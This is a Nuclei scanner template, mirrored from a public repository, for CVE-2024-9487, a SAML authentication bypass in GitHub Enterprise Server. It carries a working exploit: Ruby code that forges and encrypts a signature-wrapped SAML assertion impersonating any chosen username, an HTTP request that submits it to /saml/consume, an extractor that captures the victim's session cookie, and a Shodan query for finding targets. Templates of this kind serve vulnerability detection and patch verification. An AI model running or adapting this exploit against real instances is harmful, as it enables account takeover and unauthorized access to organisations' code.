mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-01-31 15:53:33 +08:00
195 lines
12 KiB
YAML
195 lines
12 KiB
YAML
id: CVE-2024-9487
|
|
|
|
info:
|
|
name: GitHub Enterprise - SAML Authentication Bypass
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: critical
|
|
description: |
|
|
An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
|
|
impact: |
|
|
Unauthenticated attackers can bypass SAML SSO authentication through crafted SAML responses, enabling unauthorized user provisioning and instance access on GitHub Enterprise Server.
|
|
remediation: |
|
|
Upgrade GitHub Enterprise Server to version 3.11.16, 3.12.10, 3.13.5, or 3.14.2 or later that properly verifies cryptographic signatures.
|
|
reference:
|
|
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
|
|
- https://github.com/advisories/GHSA-g83h-4727-5rpv
|
|
classification:
|
|
epss-score: 0.55491
|
|
epss-percentile: 0.97992
|
|
metadata:
|
|
verified: true
|
|
shodan-query: title:"GitHub Enterprise"
|
|
tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln
|
|
|
|
code:
|
|
- engine:
|
|
- ruby
|
|
|
|
source: |
|
|
## Variable Usage:
|
|
# username - Victim Github Username/Email to impersonate.
|
|
# SAMLResponse - SAML Response body.
|
|
# metadata_url - IDP's Metadata URL.
|
|
# RelayState - Relay state associated with the SAML Response body.
|
|
|
|
require 'nokogiri'
|
|
require 'openssl'
|
|
require 'base64'
|
|
require 'cgi'
|
|
require 'open-uri'
|
|
saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse']))
|
|
saml_response = Nokogiri::XML(saml_response_xml)
|
|
namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'}
|
|
issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text
|
|
|
|
metadata_idp_url = (ENV['metadata_url'])
|
|
# URL to fetch the XML from
|
|
url = "#{ENV['RootURL']}/saml/metadata"
|
|
begin
|
|
# Open the URL and read the XML
|
|
xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
|
|
xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
|
|
# Parse the XML content with Nokogiri
|
|
doc = Nokogiri::XML(xml_content)
|
|
idp_doc = Nokogiri::XML(xml_content_idp)
|
|
|
|
# Extract the ds:X509Certificate
|
|
certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
|
|
audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value
|
|
recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value
|
|
idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
|
|
|
|
|
|
# Print the extracted certificate
|
|
if certificate
|
|
enc_cert = Base64.decode64("#{certificate.text.strip}")
|
|
else
|
|
puts "ds:X509Certificate not found in the XML."
|
|
end
|
|
|
|
rescue OpenURI::HTTPError => e
|
|
puts "HTTP Error: #{e.message}"
|
|
rescue => e
|
|
puts "An error occurred: #{e.message}"
|
|
end
|
|
signed_assertion_xml = <<-XML
|
|
<saml2:Assertion ID="id1423912998721389200353112" IssueInstant="2024-10-13T09:53:46.851Z" Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">issuer_replace</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1423912998721389200353112"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>cert_replace</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user_replace</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData Recipient="recipient_replace"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>audience_replace</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2024-10-13T09:27:23.840Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="emails" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user_replace</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>
|
|
XML
|
|
|
|
signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert
|
|
doc = Nokogiri::XML(signed_assertion_xml)
|
|
|
|
signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
|
|
|
|
cert = enc_cert
|
|
cert = OpenSSL::X509::Certificate.new(cert)
|
|
public_key = cert.public_key
|
|
|
|
# Encrypt the signed assertion node using AES and RSA for key wrapping
|
|
def encrypt_assertion(assertion_node, rsa_public_key)
|
|
# Create a random AES key for encrypting the data
|
|
aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key
|
|
|
|
# Encrypt the signed assertion (as an XML string)
|
|
cipher = OpenSSL::Cipher.new('AES-256-CBC')
|
|
cipher.encrypt
|
|
cipher.key = aes_key
|
|
|
|
encrypted_data = cipher.update(assertion_node) + cipher.final
|
|
|
|
# Encrypt the AES key using the RSA public key
|
|
encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4)
|
|
|
|
|
|
# Base64 encode both the encrypted data and the encrypted AES key
|
|
encrypted_data_b64 = Base64.encode64(encrypted_data)
|
|
encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key)
|
|
encrypted_assertion_xml = <<-XML
|
|
<saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
|
|
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
|
|
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
|
|
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
|
<xenc:EncryptedKey>
|
|
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
|
|
<xenc:CipherData>
|
|
<xenc:CipherValue>#{encrypted_aes_key_b64}</xenc:CipherValue>
|
|
</xenc:CipherData>
|
|
</xenc:EncryptedKey>
|
|
</ds:KeyInfo>
|
|
<xenc:CipherData>
|
|
<xenc:CipherValue>#{encrypted_data_b64}</xenc:CipherValue>
|
|
</xenc:CipherData>
|
|
</xenc:EncryptedData>
|
|
</saml:EncryptedAssertion>
|
|
XML
|
|
|
|
Nokogiri::XML(encrypted_assertion_xml)
|
|
end
|
|
|
|
# Parse the signed assertion into Nokogiri XML document
|
|
doc = Nokogiri::XML(signed_assertion_xml)
|
|
assertion_node = doc.at('//saml2:Assertion', namespaces)
|
|
assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
|
|
assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}"
|
|
assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer
|
|
assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient
|
|
assertion_node_str = assertion_node_str.gsub! "audience_replace", audience
|
|
assertion_node_1 = Nokogiri::XML(assertion_node_str)
|
|
assertion_node_dup = assertion_node_1.dup
|
|
assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove
|
|
|
|
assertion_node_dup.xpath('//text()').each do |text_node|
|
|
text_node.content = text_node.text.strip
|
|
end
|
|
|
|
canonical_xml = assertion_node_dup.canonicalize(
|
|
Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0,
|
|
[], # InclusiveNamespaces PrefixList
|
|
false # WithComments
|
|
)
|
|
|
|
# Compute the SHA-256 Digest
|
|
digest = OpenSSL::Digest::SHA256.digest(canonical_xml)
|
|
digest_base64 = Base64.encode64(digest).strip
|
|
assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64
|
|
final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
|
|
encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key)
|
|
encrypted_assertion_node_str = encrypted_assertion_node.to_xml
|
|
|
|
#create new saml doc
|
|
|
|
saml_resp_node = saml_response.at('/saml2p:Response', namespaces)
|
|
saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces)
|
|
saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces)
|
|
object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node)
|
|
object_node.namespace = saml_resp_sign_node.namespace
|
|
object_node.add_child(saml_resp_node.dup)
|
|
saml_resp_sign_key_node.add_next_sibling(object_node)
|
|
encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str)
|
|
encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces )
|
|
saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1)
|
|
saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae"
|
|
puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)))
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /saml/consume HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}};
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
RelayState={{RelayState}}&SAMLResponse={{code_response}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(header,"dotcom_user")'
|
|
- 'status_code == 302'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- user_session
|
|
# digest: 4a0a0047304502207628bc61c34f2efd98459c98735efacf7b79e26a31a5d829be2649dce326c20b0221009687c1c5d717e4ba10c759f03551ccc04e2fc52dfcc89f2b3600a76dc3e82e3c:922c64590222798bb761d5b6d8e72950 |